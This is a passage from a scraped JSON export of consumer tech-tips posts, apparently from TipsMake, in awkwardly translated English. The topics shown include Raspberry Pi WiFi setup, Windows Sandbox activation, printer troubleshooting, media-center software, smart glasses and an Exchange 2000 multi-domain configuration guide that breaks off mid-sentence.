luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6RoLJutc9mpqdloJ28r7GMsKCtoF1mfnJ9jK2mrpuYYsOxuoytrKuan2LDsbo%3D\n","link":"/post/how-to-fake-ip-on-phone-with-1111-touch-vpn-turbo-vpn/","section":"post","tags":null,"title":"How to Fake IP on phone with 1111, Touch VPN, Turbo VPN"},{"body":"Edimax WiFi adapters are popular because it's compact, cheap, and most popular pi distributions come with installed drivers. Setting this up through the command line is very simple.\nThings to prepare Here's everything you need to complete this tutorial:\nUSB WiFi adapter Edimax EW-7811 Raspberry Pi \u0026nbsp;\nHow to set up Edimax USB WiFi Adapter on Raspberry Pi 1. Connect the Edimax WiFi adapter and Ethernet cable Before starting up the Pi, plug in the USB WiFi adapter as well as the Ethernet cable.\n  2. Start Pi To start the Pi, simply plug in the power cable.\n3. Enable SSH on the Pi By default, the Raspberry Pi uses the hostname \"raspberrypi\". So you can enable SSH using:\nssh pi@raspberrypi The default username is pi and the default password is raspberry. Refer to the tutorial: How to enable SSH on Raspberry Pi for more details.\nIf you're having trouble with the hostname, follow this guide to find the IP address for your Raspberry Pi.\n4. Make sure the Pi recognizes the device and the drivers are loaded Once you are logged into the Pi, check to see if the Pi recognizes the USB device using the following command:\nlsusb You should see the following:\nBus 001 Device 004: ID 7392:7811 Edimax Technology Co., Ltd EW-7811Un 802.11n Wireless Adapter [Realtek RTL8188CUS] Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Note the first line.\nNow you will check to see if the device driver has loaded. To list kernel modules use:\nlsmod You should see the following:\nModule Size Used by cfg80211 rfkill 8192cu bcm2835_gpiomem . 8192cu is what you were looking for and it looks like it is installed.\nTo check one last time, run:\niwconfig And you'll see the wireless adapter here:\nwlan0 unassociated Nickname:\"\" Mode:Managed Frequency:2.462 GHz Access Point: 20:3D:66:44:C6:70 Bit Rate:72.2 Mb/s Sensitivity:0/0 Retry:off RTS thr:off Fragment thr:off Power Management:off Link Quality=100/100 Signal level=100/100 Noise level=0/100 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0 5. Configure wpa_supplicant using WiFi credentials Now, open the following file to add the network credentials.\nsudo vim /etc/wpa_supplicant/wpa_supplicant.conf For Raspbian Jessie:\nnetwork={ ss proto=RSN key_mgmt=WPA-PSK pairwise=CCMP TKIP group=CCMP TKIP psk=\"PASSWORD\" } For Raspbian Stretch:\nctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev network={ ss proto=RSN key_mgmt=WPA-PSK pairwise=CCMP TKIP group=CCMP TKIP psk=\"PASSWORD\" } Of course, you will need to replace your SSID and password.\n6. Reboot Remove the Ethernet cable and reboot with the following command:\nreboot You should now be able to connect over WiFi.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZK6rkmLEqrLIZpidmaCpsrN5zqdkmmWilsCxrsSrqbJloJ4%3D\n","link":"/post/how-to-set-up-a-usb-wifi-adapter-on-a-raspberry-pi/","section":"post","tags":null,"title":"How to set up a USB WiFi Adapter on a Raspberry Pi"},{"body":"To download regular (public) videos on Facebook, we have mentioned quite a few download methods, you can refer to the article: How to download Facebook videos to your computer quickly without software. So, how to download personal Facebook videos? If you've ever tried some Facebook downloader tools, you'll find that they don't work. However, do not rush to see hope, in this article, TipsMake.com will guide you to do that.\nTricks to download private videos on Facebook If you've ever downloaded public videos on Facebook, you've heard of FBDown.net - the web application that has appeared in the last few years. Please download the private video with this tool!\nFirst, you need to navigate to the website/download/download-downloader.php in your browser. In a new tab, log into Facebook and visit the private video page you want to download. If you are using Windows, press Ctrl + U. If you're using a Mac, press Command + Option + U. This shortcut will display the website source code. Copy the source code into the empty box on FBDown.net. Click Download.   \nAlso, if you use Chrome, you can use browser extensions. You can download FBDown.net\u0026nbsp; from the Chrome online store.\nNote: Please use this tool appropriately. You should not download private videos of others, then post them on public forums without their permission.\nGood luck!\nSee also: How to live stream Facebook using the software XSplit Broadcaster\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWacn6y7rbvAnaCnn12lv6rCwK2cZq6ZmbKwv4yopWaekZiyo7vOpA%3D%3D\n","link":"/post/instructions-for-downloading-private-videos-on-facebook/","section":"post","tags":null,"title":"Instructions for downloading private videos on Facebook"},{"body":"Most of the biggest names in the tech world are racing to create smart glasses that will change the way people see the world around them. In the future, instead of taking your phone out of your pocket to talk to people or interact with apps, we can do these just by talking and looking through a pair of glasses.\nIn this race, in addition to technology, designers must ensure their products have enough fashion and sleek elements to allow users to wear them all day and everywhere. And this is also an opportunity to start a new market, where those who are more agile and have better resilience will rise to the top. Opportunities are leveled for everyone, be it a trillion-dollar corporation or a startup company.\nBut users will probably have to wait a few more years. Existing models today are still too large in size, expensive in price and have no practical effect in life. However, let's take a look back to see how much the tech companies have tried.\nMicrosoft\n Microsoft launches HoloLens 2.\nMicrosoft is working on advanced augmented reality glass products. Its HoloLens 2 was sold last week and a modified version is being tested by the military to help soldiers operate more effectively on the battlefield.\nCalled IVAS (Integrated Visual Enhancement System), the military version of this model can place digital objects, such as maps or video screens, onto real-world images in front of them. the anvil. Soldiers can use it in training to interact with the environment and their allies, in simulation battles.\nIn commerce, HoloLens 2 is capable of displaying computer programs in sight, so users don't always have to sit in front of a computer to work. It can help technical workers identify problems and fix and solve them without having to read the manual.\nHowever, HoloLens 2 is still too bulky and at $ 3,500, too expensive for most consumers. But as technology develops, these devices will become smaller and more powerful.\nSnap\n Smart glasses of Snapchat.\nSnap's Spectacles 3, recently sold for $ 800, allows users to take photos and videos, then add effects to upload to the Snapchat app.\nCurrently, users cannot see any information through the glass, but the company is said to be working to add augmented reality images. The new report says Snap is building a fourth-generation version, codenamed Hermosa, with smart lenses capable of displaying AR effects.\nHowever, Snap's strategy is very different from its competitors. The company started with a radius and planned to add a hardware system later. And other companies make bulky equipment systems initially but not in radius.\nGoogle\n Google Glass Enterprise Edition 2\nGoogle is still selling its Google Glass product line, capable of displaying information but without AR integration. However, the first version launched too early (2013) with the feature of recording images anytime anywhere, making users uncomfortable. Google soon removed it in 2015.\nAnd the new version was launched by Google in May. Named Glass Enterprise Edition 2, it's like the first version, only a small projector in front of an eye, built on the Android operating system, for enable device configuration synchronization with applications and services on phones and tablets. Google says Glass is used in logistics, manufacturing and service industries. The greatest initial effect of this device is to be able to give directions.\nWhile Google hasn't publicly talked about new AR glass projects, it's clear the company is building a platform where AR makes more sense when it comes to glasses, rather than phones.\nMagic Leap\n The first Magic Leap device, launched in August 2018, looks a lot like Microsoft HoloLens 2, which is a relatively bulky wearable. It has the ability to display games, 3D animation, virtual video screens and many other digital content.\nWhen worn, users can still see everything in front of them. AR apps let you watch TV, work with computer programs, while still seeing the ordinary world.\nBut like HoloLens 2, the Magic Leap is very expensive, with a starting price of $ 2,295. The company will need to make its products smaller and more affordable, if it wants to attract more audiences. Besides, it will need more new capabilities and applications. IOS and Android have provided thousands of augmented reality applications for phones, which can be easily put on wearables if properly integrated.\nApple\n Apple AR technology demo of 2017.\nAccording to sources, Apple's smart glasses are supposed to launch in 2022, but the first model will be about the same size as Facebook's Oculus Quest. But a smaller version could launch in 2023, allowing users to take it with them anywhere, all day.\nLike Google, Apple's iOS platform has thousands of augmented reality applications. Apple may have added AR support to its iPhones and iPads first in order to teach people more about the technology, by showing how games and information will function when they're covered. hidden in front of the user. And like Google, this strategy helps it build a massive library of applications for the future.\nSiri works on wearables like AirPods and Apple Watch, allowing users to request directions, play music or copy messages without picking up the phone. Those functions can all work on a set of smart glasses.\nFacebook\n Oculus Quest VR of Facebook.\nFacebook's strategy is different from most competitors. The company is selling virtual reality products that allow users to take them out of the real world and into a whole new digital world where you can't see anything around. But Facebook is also interested in augmented reality.\nRecently in September, Facebook partnered with parent company of Ray-Ban glasses to develop augmented reality glasses. The company plans to launch wearable devices, internally known as Orion, from 2023 to 2025. They are designed to take calls and allow users to stream videos to others. Hundreds of employees are working on this project. However, the problem to handle first is to make them small enough for consumers to feel attractive.\nLike Apple, Facebook has a media platform that can easily be transferred to a wearable device. For example, Facebook Messenger and WhatsApp allow users to call or chat with each other, or Facebook's Portal products allow users to video chat on platforms.\nFacebook has augmented reality developer tools called Spark AR. It is currently being used to track faces and effects in video chats on the Portal hardware. But theoretically, it could be used someday on a set of smart glasses. And not to mention, Facebook has a huge user base of 2.45 billion monthly active users who may be interested in smart glasses, in case the company can sell them at affordable prices.\nAmazon\n Smart Glasses Echo Frames\nAmazon doesn't say much about its own augmented reality glasses, but in September the company revealed a bit of the product, showing it wasn't completely indifferent to this trend. Echo Frames is now just a pair of glasses with integrated speakers and Amazon Alexa voice assistant.\nBut users can talk to Alexa at any time. This virtual assistant can tell you about the weather, make phone calls, read a short message or do anything else that smart speakers like Amazon Echo can do, right on top. your. Amazon can improve these glasses by adding AR technology, but it will need more screens to display information.\nAmazon also has many services that can be easily applied to AR glasses. Prime Video can show movies and TV shows in the future, if Amazon decides to build a pair of glasses in that direction. Or users can shop through Amazon and browse the shopping cart without taking out their phones.\nThe future of smart glass\n Amazon, Google, Magic Leap, Facebook and Microsoft all have platforms to put chips, screens or computers on the user's face. This technology race is ongoing and the ultimate goal is to create a fashion product that is reasonably priced for mass users.\nIt is still a few years away before these products become popular, but applications, smart voice assistants and software are ready. Once these companies can make the controller hardware small enough, we can think of the need to take the phone everywhere, because the glasses were able to do everything.\nRefer to CNBC\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsCvrc9mnZqblZe8sLeMoKaon5yaeqK8z6WcZpmdlsewuoyapZ1lpJ2ybr7AnJxmrJ9iwLC5xK2foqaXYsGprdNmmpqmXaeysbjAnJxmq52Wv7W8x6ilnqtdqbWmecalmKyrlag%3D\n","link":"/post/microsoft-snap-facebook-google-apple-amazon-and-the-race-to-something-that-can-replace-smartphones-the-glasses/","section":"post","tags":null,"title":"Microsoft, Snap, Facebook, Google, Apple, Amazon and the race to 'something that can replace smartphones': the glasses"},{"body":"Your prints will not be pretty if printed out and found guilty blurry, black stripes or white stripes, these errors are common with firms\u0026nbsp; printers \u0026nbsp;like\u0026nbsp; the Canon printers ,\u0026nbsp; printer HP ,\u0026nbsp; Brother printers , printer Samsung, Epson printer. The article shows how to fix the printer error with white stripes, follow along!\nWhen you print documents in a\u0026nbsp; laptop or\u0026nbsp; computer , the printout has a white streak, which is shown by the following conditions:\n- The print is not uniform, white one or more places.\n- A vertical white streak runs the length of the text.\n- White almost whole text.\n  Usually, you would think that the first error when the printer makes this error is because the printer \u0026nbsp;'s ink is\u0026nbsp; running low, however, the main cause is due to a damaged drum. This error can occur because during use, you use paper with high roughness and friction.\nThe drum is the part in the ink cartridge that is responsible for printing text on the paper when the ink rolls through. Drums, or Drums, are made up of several layers of paint, if this paint is scratched, the drum will fail.\n  In addition, the printer drum is worn out because you did not check the print paper carefully. Most likely they are stuck with pins or other foreign objects, when printing, they get caught in the printer drum and damage this part. This is one of the reasons why prints have white streaks.\nBesides, the following factors can also cause the above error:\n- Ink used is not up to standard.\n- Ink cartridges are not replaced in time when the machine is about to run out of ink.\n- You have not regularly cleaned the printer.\n  How to fix the printer error with white streaks is also quite simple, but you must be very attentive and careful. If you need to determine if the error is caused by the drum, you can take out the cartridge and see the Drum bar (usually painted blue). If this bar is scratched, your printer has encountered this error.\nOnce you've determined that the problem is caused by a faulty printer drum, you need to replace the drum with a new one. In case this blue paint is peeling or scratched, you should replace the new part soon to avoid this error repeated many times. To ensure quality and be consulted carefully, you should trade at reputable establishments.\n  Avoid leaving the printer drum scratched as this will damage the drum\nIn addition, you should also check that your cartridges are empty to be replaced, and be aware that genuine ink is used to ensure the best quality. Besides, you also need to pay attention to clean the printer regularly so that the printer can work at its best.\n  When you hear about the worn or damaged assembly of a device, you can understand that the device has been used for too long to lead to this condition. Or, when the magnetic shaft is worn or damaged, it is possible that you did the wrong thing to remove the paper when the printer jammed.\nIf you encounter this error, the only way you can do it is to replace the magnetic shaft with a new one. When buying components, you need to pay special attention to the quality of the product. Therefore, to ensure, you need to go to reputable facilities for timely advice and support.\n  During use, users will pay little attention to the nozzle, so they will rarely go for maintenance. There are many reasons that can explain this situation as follows:\n- The printer is rarely used or you use the wrong ink, use the ink from the same brand that changes continuously.\n- The\u0026nbsp; driver \u0026nbsp;installed is not compatible with the printer, causing the printer to not print.\n- A damaged ink cartridge causes a white full-text error.\nWhen you encounter this error, you can follow the instructions below to resolve it:\nStep 1: Remove the nozzle of the inkjet printer.\n  The printer nozzle pins will be exposed when the ink cartridge is completely removed\nStep 2: Pour 1 amount of printer spray cleaner into a clean bowl. Immerse the bottom of the nozzle in water, about 2-3mm. You can soak for a few hours or soak until the next day, be careful not to let the insects fall into the bowl of water!\n  The upper part of the cable connector must not come into contact with washing water\nStep 3: Use a dedicated nozzle washing device to gently shake the nozzle, repeat this process 2-3 times.\n  Thoroughly clean the printer nozzles\nStep 4: Using a syringe to suck up the washing water, press it into the ink supply connector on the nozzle. If the water line is straight, the nozzle is almost completely open. If the water line is not straight, you need to continue rinsing 2-3 times.\n  The nozzle is no longer clogged when the cylinder hose sprays water in a straight line\nSimilar to the causes of the printer error with white streaks, the printer prints white paper because the printer is out of ink, the magnetic shaft is damaged, the driver is not installed properly, the printer's ink cartridge or inkjet head is faulty. disabled (for inkjet printers).\n  The article shows how to fix the printer error with white streaks. Hope the article will help you to handle the error, see you in the next article.\nfix printer error printer error ncG1vNJzZmismaXArq3KnmWcp51kvbO1za2cq2WYlsBuw8eiq55lo6m%2FqrzErGScmaWosrR5wKebZqufocK1tc6nqmasn2K9s7XNrWSwoaSderi0yK2cZqukp7axsdI%3D\n","link":"/post/printer-has-white-stripes-causes-and-solutions-to-print-with-white-stripes/","section":"post","tags":null,"title":"Printer has white stripes - Causes and solutions to print with white stripes"},{"body":"Therefore, Sandbox is often used to test .exe files that are suspected to be viruses, software that may contain malicious code or unreliable links.\nIn this article, TipsMake.com will guide you how to activate Windows Sandbox on Windows 11. If you are using Windows 10, please refer to the article: How to Activate Windows Sandbox on Windows 10.\nSome conditions to be able to use Windows Sandbox Windows 11 Pro or Enterprise, does not support Windows 11 Home AMD64 . Architecture Virtualization has been enabled in the BIOS. How to enable virtualization in BIOS Have at least 4GB of RAM (8GB of RAM recommended) At least 1GB of free storage space (SSD recommended) CPU with at least 2 cores (4 cores recommended with hyperthreading How to Activate Windows Sandbox Using Windows Features The simplest way to enable Windows Sandbox is to use Windows Sandbox. You follow these steps:\nStep 1: Press the Win button on the keyboard or click the Start button and then enter Windows Features. In the search results box, click Turn Windows features on or off.\n  Step 2: In the newly opened Windows Features window, scroll down to find Windows Sandbox. Click the check box next to the Windows Sandbox feature and then click OK to confirm the activation.\n  Step 3: Your computer may need to restart to install and update more necessary software. Please press the confirmation buttons for the machine to restart.\nStep 4: After booting is complete, press the Win button on your keyboard or click the Start button and then enter Windows Sandbox. On the search results, right-click Windows Sandbox and then select Run as administrator to start.\n  That's it, now you can freely play around without fear of ruining the main version of Windows 11 on your machine.\nEnable or disable Windows Sandbox on Windows 11 using PowerShell To control Windows Sandbox with PowerShell, follow these instructions:\nStep 1: Press the Win button on the keyboard or click the Start button and enter PowerShell and then select Run as administrator to start.\n  Step 2: To enable Windows Sandbox, copy and paste the following command into PowerShell then press Enter:\nEnable-WindowsOptionalFeature –FeatureName \"Containers-DisposableClientVM\" -All -Online   Step 3: To turn off Windows Sandbox, use the following command:\nDisable-WindowsOptionalFeature –FeatureName \"Containers-DisposableClientVM\" -Online   Step 4: If asked to reboot, press Y and then Enter to confirm.\nEnable or disable Windows Sandbox on Windows 11 with Command Prompt To enable or disable Windows Sandbox with Command Prompt on Windows 11, follow these instructions:\nStep 1: Press the Win button on the keyboard or click the Start button and then enter Command Prompt and then select Run as administrator to start.\n  Step 2: To enable Windows Sandbox, copy and paste the following command into Command Prompt and then press Enter:\nDism /online /Enable-Feature /FeatureName:\"Containers-DisposableClientVM\" -All   Step 3: To turn off Windows Sandbox, use the following command:\nDism /online /Disable-Feature /FeatureName:\"Containers-DisposableClientVM\"   Step 4: If asked to reboot, press Y and then Enter to confirm.\nSo TipsMake.com has guided you through how to enable Windows Sandbox on Windows 11. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddlrC1tdWaq55lp567pbvWrGSsmZ6Zr7DEjKilZq%2BZo7Gww9JmaGo%3D\n","link":"/post/steps-to-activate-windows-sandbox-on-windows-11/","section":"post","tags":null,"title":"Steps to activate Windows Sandbox on Windows 11"},{"body":"1. Microsoft Word   To open Word files, the Microsoft Word 'official' application is the perfect choice. With useful editing and editing features similar to the desktop version, you can bring doc and docx documents on your phone and use them in situations of need without a computer. beside.\nDownload link for iOS app at here.\nLink to download the app for Android at here.\u0026nbsp;\n2. WPS Office   When the Microsoft Word application has not set foot on Android and iOS, WPS Office is a reputable and powerful document reading \u0026amp; editing tool. Besides being able to read and edit Word files, this tool also supports you to read and manipulate many popular office application file formats such as Excel, PowerPoint.\nLink to download the app for iOS at here.\u0026nbsp;\nLink to download the app for Android at here.\u0026nbsp;\n3. OfficeSuite + PDF editor   OfficeSuite has received many compliments and was recognized as one of the software that can replace the Microsoft Office toolkit. With the version for mobile devices, OfficeSuite still takes advantage of the multi-purpose office tools. In addition, the application also integrates reader and PDF editor quite convenient.\nLink to download the app for iOS at here.\u0026nbsp;\nLink to download the app for Android at here.\u0026nbsp;\n4. Docs To Go   Docs To Go is a utility to create, view and edit popular document file formats such as doc, docx, xls, ppt . The software's interface is quite simple and does not have many outstanding features. To use the advanced features and alignment capabilities, you can select a premium version to use these features.\nLink to download the app for iOS at here.\u0026nbsp;\nLink to download the app for Android at here.\u0026nbsp;\n5. LibreOffice   LibreOffice is an office application made of open source famous on the PC, developed from the earlier version of StarOffice. With the mobile version, you can read and edit Word documents quickly and gently. Besides, you can view photos and music and video formats such as MP3, MP4, OGG . with premium version.\nLink to download the app for iOS at here.\u0026nbsp;\nLink to download the app for Android at here.\u0026nbsp;\nWith fast and useful Word file readers on your phone, you can carry Word documents anytime, anywhere on your phone without having to use a computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kmqigobakrdOipqerXam8br7Emptmr5%2BnsW6yyKWcrGWfo3quu8Gio55loJ28r7HS\n","link":"/post/top-5-applications-to-read-word-files-on-mobile-phones/","section":"post","tags":null,"title":"Top 5 applications to read Word files on mobile phones"},{"body":"Firstly, the timer and alarm features\nVery simple with the following steps, you can complete the alarm and timer.\nPress Window key and select Alarm and clock in the list or you can directly search. Then choose the time frame you want and finish.\nNote to use this feature should make sure your device does not enter sleep mode (Sleep). Besides, make sure your device has enough battery and volume is enough to function.\n Second, compare the time zones in the world\nStep 1: Select the clock app, at the bottom select New +\nStep 2: Enter the first letter of the position you want to track and select this position from the list.\nStep 3: Choose Compare between the two clocks and choose the time at the bottom slider.\nThird, use a stopwatch\n Step 1: Click Stopwatch and select Start\nStep 2: If you need to mark lap time or lap time when the stopwatch runs, do so by selecting Lap time / Break time (flag).\nStep 3: You can also increase the size of the stopwatch screen by selecting Expand.\nStep 4: When you want to stop this feature suddenly, select Pause.\nStep 5: If you do not want to continue using the stopwatch, you can delete with the Reset button.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxxa6jZp6VlsG2vsSsZLKnpWK6osWMp6atZZujvLh5wJumrqxdlrmivsysZGaZnpl6bq%2FLqJqkZZmjeri1zZ2msKtdZn0%3D\n","link":"/post/useful-features-you-may-not-know-about-alarms-clock-in-windows-10/","section":"post","tags":null,"title":"Useful features you may not know about Alarms \u0026amp; Clock in Windows 10"},{"body":"\u0026nbsp;For example, if you start downloading a song named Song.mp3 in Google Chrome, the \"Song.mp3\" file will appear in Chrome's download list. Parallel to that, a file named \"Song.mp3.crdownload\" will also suddenly appear in the Download folder.\u0026nbsp;\n  However, when you click on .crdownload files, an error message will pop up saying you cannot open these files. Notably, the size of this .crdownload file will gradually increase when Chrome downloads the file. After the download is completed, the file \"Song.mp3.crdownload\" will be renamed \"Song.mp3\", with the extension .crdownload \"deleted.\n  So what is the \".crodownload\" file, and can we delete it?\nEssentially, files with the .crdownload extension are files that Chrome temporarily creates each time you start downloading something on the network. These .crdownload files themselves are also known as Chrome Partial Download files, which are considered a 'sign' that the file has not been downloaded yet. Normally, other web browsers will save the downloaded files to another folder, then move them to the Download folder when the download is complete. With Chrome alone, this browser always stores the unfinished files in the Download folder.\nTherefore, if the file is still being downloaded, you should not delete the .crdownload file in the Download folder. In case the user chooses to cancel the download, Chrome will automatically delete the .crdownload files.\nIn certain cases, you will still see .crdownloads appear in the Download folder, even though you are not downloading any content. In fact, this shows that Chrome is in the process of downloading a file, but something (like a interrupted Internet connection) has occurred. In this case, Chrome will pause the download so the user can resume it later. Therefore, the .crdownload files will still appear in the Download folder.\n  Overall, you can still feel free to delete the .crdownload files whenever you want. Especially, if you see the .crdownload file of a file you tried to download for a long time, delete it without thinking!\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdqbWmecKrm6ivnqG8orCMn6ClnV2gsqa8jKmmqaiZo7Ruwc9mnK%2Bdoq56tbXMnmSyp6VisbDDzaWmmpxdqLyusdOhoKefXZu%2FsLmMnJ%2Brp52a\n","link":"/post/why-does-the-crdownload-file-keep-popping-up-every-time-you-download-something-from-chrome/","section":"post","tags":null,"title":"Why does the .crdownload file keep popping up every time you download something from Chrome?"},{"body":"Windows 10 has introduced a wide range of new features to users. But whenever new features are available, you will also find vulnerabilities where old favorites are not accepted.\nWith Windows 10, Windows Media Center will no longer be supported. This means that if you have it installed, WMC will stop working when you upgrade to Windows 10. This is not pleasant at all, especially if Windows Media Center is your preferred solution.\nTherefore, it's time to find a new media center application compatible with Windows 10 for future use.\n5 alternatives to Windows Media Center in Windows 10 Unacceptable communication features from Microsoft How to open DVD or Blu-ray on Windows 10 Alternative to Windows Media Center in Windows 10 XBMC / Kodi.tv Plex.tv MediaPortal.com JRiver MediaCenter (jriver.com) Emby.media  Unacceptable communication features from Microsoft Microsoft will no longer support Windows Media Center. DVD playback (DVD playback feature) also disappeared in Windows 10. These two features have been imported from Windows 7, and then removed in Windows 8, but still supported if you install Windows Media Center in a premium upgrade.\n  However, with Windows 10, you'll have to find an alternative, not just for Windows Media Center, but also for DVD playback (something that can be done with WMC).\nFortunately, Windows users have a lot of alternatives to both of these features. Let's find out details in the following article!\nHow to open DVD or Blu-ray on Windows 10 If you are running Windows 10 and need to play a DVD or Blu-ray disc, the first thing you should do is go to Windows 10 Store and find the DVD player application. The application you are looking for will appear here.\nHowever, the application may not be available when you want. The alternative (like Windows 8) is to find a media player to handle DVD and Blu-ray. A versatile multimedia player will give you full control over the menus.\nIf you haven't used VideoLan's great multimedia player (it also has audio and video), it's time to do it. VLC media player is completely free to download, use and has Windows 10 support, visit www.videolan.org/vlc/download-windows.html to have your VLC.\nVLC media player also has a variety of hidden features, which may be useful to you.\nAlternative to Windows Media Center in Windows 10 Although Windows Media Center is very popular, it has begun to be largely replaced by many high-end systems ranging from XBMC (now called Kodi) to Plex. But moving from one media center solution to another is no longer a problem for users to be too concerned about. In the past, you might have been worried about problems with incompatible tags, having to re-collect metadata, album covers or movies, etc. But now these are nothing to worry about. half.\nServices that provide this data are much faster and with a fast Internet connection, it does not take too long to create a new media center database.\n5 best Home Theater and Media Center software But what media center system will you use to replace Windows Media Center on Windows 10?\nXBMC / Kodi.tv The default option for many is probably Kodi, XBMC's new name. This was originally to hack a media center for Xbox, Microsoft's first console, which is basically a locked computer. With the release of Xbox 360, XBMC has been split into a full media center application for Linux and Windows PC, and it has been popular since then. You will find its versions for Android and Raspberry Pi. If the default interface and features don't match, don't worry too much because the themes and plugins are available to extend the functionality of this app.\n  Switching to Kodi is great because it is probably the best alternative to the most widely used multimedia center and the best community support. Kodi's Live TV recording feature is also superior to Windows Media Center's PVR, mainly due to continuous development in this area.\nPlex.tv It's easy to install, Plex fulfills the role of a great media server and media player. It provides support for other devices (such as Android and iOS), via mobile apps.\n  Plex is a media server that transmits media files stored locally, externally or attached to your home network, to the client application. Internet Explorer is the server interface of this server, where you can add channels (such as Soundcloud and Vimeo) and your library. To enjoy your media files, you can use mobile and desktop apps, which can stream movies and TV shows to your TV.\nOne thing to note is that Plex requires a bit of a bit of a fuss about how you organize and name your media collection, especially serial television shows. However, correct operation so that the service can run seamlessly.\nMediaPortal.com Like XBMC / Kodi, MediaPortal is a free, open source application, and has a full-featured TiRo PVR built-in to record TV (of course, via a TV card). Hundreds of available plugins, interfaces and applications also support live streaming and radio recording.\n  The plugin provides support for flash games, Netflix apps and support for online video playback. All help MediaPortal become a strong candidate in choosing an alternative to Windows Media Center in Windows 10. In fact, MediaPortal and XBMC / Kodi have been rivals for many years, but it is difficult to compare because there is very little difference between their features.\nJRiver MediaCenter (jriver.com) Priced at $ 49.98 for a single license, JRiver is a premium option, and don't let its price make you hesitate. This application is still a powerful option, providing support for audio, video and images, as well as network support for DLNA devices. For many people, being able to listen to music from any device is a great advantage, and the integration of DLNA support has helped JRiver MediaCenter attract many positive reviews recently.\n  All features of this application work very well. It is clearly a strong point for any high-end application. As with other options, support is provided through forums and wikis.\nEmby.media Easily connect, stream live on TV, manage DLNA, media, mobile and cloud synchronization, share and set parental controls, attractive user interfaces and even support Chromecast, Emby is a great choice for a media center application and it can perform re-encryption when moving to a suitable PC.\n  Like Plex, Emby has two parts, a PC-based server, which takes care of the media database, then you browse and enjoy through one or more client applications.\nEmby is available for free for Windows (as well as Linux, Mac and even FreeBSD), media files are managed through your browser. Emby server must be installed first, with TV apps for Android TV, Amazon Fire TV, Chromecast and mobile device apps for Windows 8, Windows Phone, iOS and Android needed, to view media content of friend.\nWhen you upgrade to Windows 10, Windows Media Center will not work anymore. But don't worry. Any of these 5 alternatives are complete (even high-end). Of course, you can use them as a change to reset your media center, and switch from HTPC to a smaller, dedicated media center device like Apple TV or Roku.\nHave you tried any Windows Media Center alternatives? Do you have any other solutions? Let us know about it in the comment section below!\nSee more:\nHow to download and install Windows Media Player 12 on Windows 10 Summary of shortcuts in Windows Media Player How to watch movies and videos with subtitles on Windows Media Player ncG1vNJzZmismaXArq3KnmWcp51kgm6ty62cq6aRqba3sdJmq6hlp567pbvWrGSmnZSerm6vxKernqpdnrtuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/5-alternatives-to-windows-media-center-in-windows-10/","section":"post","tags":null,"title":"5 alternatives to Windows Media Center in Windows 10"},{"body":"You are the network administrator, if one day you are required to configure the Exchange 2000 Server system to use more than one domain, the work requirements require the administrator to have a good understanding of exchange, But the problem is not too complicated. The following model will give you an overview and how to achieve this task.\n   Situation given \n Assume that you are the network administrator of ABC Company, and that your company has just purchased XYZ company equally well in ABC's current business. The Board of Directors of your company is required to maintain the email activity of the two systems on an Exchange 2000 server to reduce the administrative work. You plan to configure the abcinc.net domain and the xyzinc.net domain on the same Exchange server as ABC-server. The board of directors also requires you to maintain these two systems separately, meaning that the abcinc.net Outlook user only sees the ABC staff in the Global contact list and vice versa the xyzicn.net Outlook users only see xyz employees in the Global contact list, companies should also maintain a separate Public folder. Create a new Public Folder folder The first step you have to do is to create the XYZ Public Folder Tree folder . To create this folder, open Administrative Groups with Exchange System Manager - Select Folder , right-click and select New - Puclic Folder Tree (Figure A). Name it XYZ Public Folder Tree .\n  Picture A\nStep on to create separate Puclic Folder for 2 companies. In this case Messaging Application Programming Interface clients (MAPI clietns), for example, Outlook can view the information in the default public folder directory. Create a Storage group Creating a new storage group for XYZ company is expected to achieve many reasons. The main reason is that you can manage policies for email and mailboxes separately. To create Storage group for XYZ, select ABC-Server - under Administrative Group - right click - select New - Storage Group (Figure B)\n  Figure B\nName XYZ Storage Group . This group consists of at least one Puclic store to store the pubic folder and a mailbox store to store mailboxes. Create a Mailbox store named XYZ Mailbox store by right-clicking XYZ Storage Group , selecting New - Mailbox store , and then creating a Public folder store that links it to XYZ public store tree . Picture Recipient policies. \n ABC-Server always has a default recipient policy to create an email address for users with domain name SMTP abcinc.net . Now you have to create a new recipient policy to take care of creating an email address for the new SMTP domain name xyzinc.net for mailbox XYZ storage group. Navigate to Recipient Policies in the main Recipients section, right-click Recipient pol icies - select New - Recipient Policy . Select Email - Address and name XYZ Email Address Policy , then change the item in the Filter section to display the mailbox storage group is XYZ Storage Group . In the E-mail address tab, change SMTP address to @ xyzinc.net . This is to ensure that each mailbox created within XYZ Strorage Group has a domain name @ xyzinc.net Configure Global Address list \n As mentioned above, the Board of Directors requires employees to access their Global Address list only to find the corresponding employee information of the company. To do this, create a new Global Address list for both ABC and XYZ companies. Just right-click on All Global Address list under Recipients , select New - Global Address list (Figure C). Name ABC Address list and XYZ Address list separately.\n  Figure C\nCreate Filter rules for each Global address list with a storage group, and you can delete the default Global Address list. Now, when a user selects the Global address address within Outlook, they will see the shared user in the same storage group. Configure SMTP Virtual server and connector As a network administrator, you want to take over the email management of domain abcinc.net and xyzinc.net in the same way. You will not need to configure anything else in the SMTP Virtual server section or the SMTP connector if it is already configured. When the MX record is set up correctly for each domain, the policy of receiving mail for that domain along with the structure of the existing email address in the Exchange domain, the email will be delivered. However, if you want to set up two separate policies for each domain based on the SMTP domain to take care of sending / receiving separate mail, you must make additional configuration for both SMTP virtual server and SMTP connector . Create Mailbox You can now be ready to create a new user or mailbox in the XYZ company. You can use Active Directory Users and Computer to create users and mailboxes for them. Make sure you create a new mailbox for them located in XYZ Storage Group (Figure D). After creating, you must give 1 or 2 minutes for the 